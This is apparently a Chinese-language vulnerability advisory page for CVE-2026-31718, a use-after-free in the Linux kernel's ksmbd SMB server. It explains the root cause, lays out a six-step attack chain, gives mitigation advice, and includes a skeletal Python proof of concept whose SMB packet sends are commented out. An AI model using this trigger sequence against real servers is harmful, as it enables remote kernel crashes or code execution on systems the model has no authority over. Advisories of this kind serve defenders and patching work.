IPBUF安全漏洞报告
English
CVE-2026-31718 CVSS 9.8 严重

CVE-2026-31718 Linux内核ksmbd释放后重用漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31718
漏洞类型
释放后重用
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Use-After-FreeLinux KernelksmbdSMBRCEDoS

漏洞概述

Linux内核的ksmbd组件中存在一个释放后重用(Use-After-Free)漏洞。当持久文件句柄在会话断开(TCP关闭但未发送SMB2_LOGOFF)后仍然存活时,session_fd_check()会将fp->conn设置为NULL以保留句柄供稍后重连,但并未清理fp->lock_list上的字节范围锁。随后,当持久清理线程超时并调用__ksmbd_close_fd(NULL, fp)时,锁清理循环试图访问fp->conn->llist_lock。由于fp->conn已被置NULL且原始连接对象已被ksmbd_tcp_disconnect()释放,这导致了slab释放后重用漏洞。根本原因在于清理不对称,即fp->conn被置空时,锁条目仍残留在已释放的conn->lock_list上。

技术细节

该漏洞源于Linux内核ksmbd模块在处理持久化文件句柄时的逻辑缺陷。当SMB会话非正常断开(如TCP连接断开)时,为了支持持久化重连,内核会保留文件句柄,将`fp->conn`指针置空,但忘记清理该文件句柄关联的字节范围锁(`fp->lock_list`)。这些锁仍然链接在旧连接对象的`lock_list`上。随后,持久化清理线程会定期检查这些孤立的句柄。当超时发生时,清理线程调用`__ksmbd_close_fd(NULL, fp)`尝试关闭文件描述符。在遍历锁列表进行清理时,代码尝试获取自旋锁`spin_lock(&fp->conn->llist_lock)`。由于此时`fp->conn`为NULL,且旧连接对象内存已被释放,访问`NULL->llist_lock`或已释放的内存会导致内核崩溃或潜在的任意代码执行。攻击者可通过发送特制的SMB请求,触发会话断开与持久化句柄超时的竞争条件,从而利用该释放后重用漏洞提升权限或导致拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者发起SMB连接,与目标服务器建立会话。
STEP 2
步骤2
攻击者在共享中打开一个文件,并请求持久化文件句柄。
STEP 3
步骤3
攻击者在不发送SMB2_LOGOFF请求的情况下直接断开TCP连接。
STEP 4
步骤4
内核的session_fd_check()函数将文件句柄的fp->conn置为NULL,但未清理其关联的锁。
STEP 5
步骤5
持久化清理线程超时,调用__ksmbd_close_fd(NULL, fp)尝试关闭句柄。
STEP 6
步骤6
代码尝试访问已释放的fp->conn->llist_lock,触发Use-After-Free漏洞,导致内核崩溃或代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Conceptual PoC for CVE-2026-31718 # This script demonstrates the steps to trigger the UAF in ksmbd. # It creates a durable handle, disconnects without logoff, and waits for the scavenger. import socket import struct import time TARGET_IP = "192.168.1.10" SMB_PORT = 445 def send_smb_negotiate(sock): # Simplified SMB2 NEGOTIATE request header # Real implementation requires constructing valid SMB2 headers print("[+] Sending SMB Negotiate...") # sock.send(...) def send_smb_session_setup(sock): print("[+] Sending Session Setup...") # sock.send(...) def create_durable_handle(sock): print("[+] Creating file with Durable Handle...") # Request specific flags: SMB2_CREATE_DURABLE_HANDLE_REQUEST # This ensures the file handle (fp) survives a disconnect. # sock.send(...) def trigger_vulnerability(): print(f"[*] Connecting to {TARGET_IP}...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((TARGET_IP, SMB_PORT)) try: # 1. Establish SMB Session send_smb_negotiate(sock) send_smb_session_setup(sock) # 2. Create a file with a durable handle create_durable_handle(sock) # 3. Disconnect without sending SMB2_LOGOFF # This triggers session_fd_check() -> fp->conn = NULL # but leaves locks on fp->lock_list. print("[!] Closing TCP connection abruptly (No Logoff)...") sock.close() # 4. Wait for the durable scavenger timeout # The scavenger calls __ksmbd_close_fd(NULL, fp) # It tries spin_lock(&fp->conn->llist_lock) -> UAF print("[*] Waiting for durable scavenger to timeout...") time.sleep(60) # Wait for kernel thread to trigger print("[*] Exploit trigger attempted.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": trigger_vulnerability()

影响范围

Linux Kernel (ksmbd模块启用版本)

防御指南

临时缓解措施
在未升级内核前,建议禁用Linux内核中的ksmbd服务以阻断远程攻击路径。若必须开启,应通过防火墙严格限制SMB端口的访问来源,仅允许可信内网IP连接,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表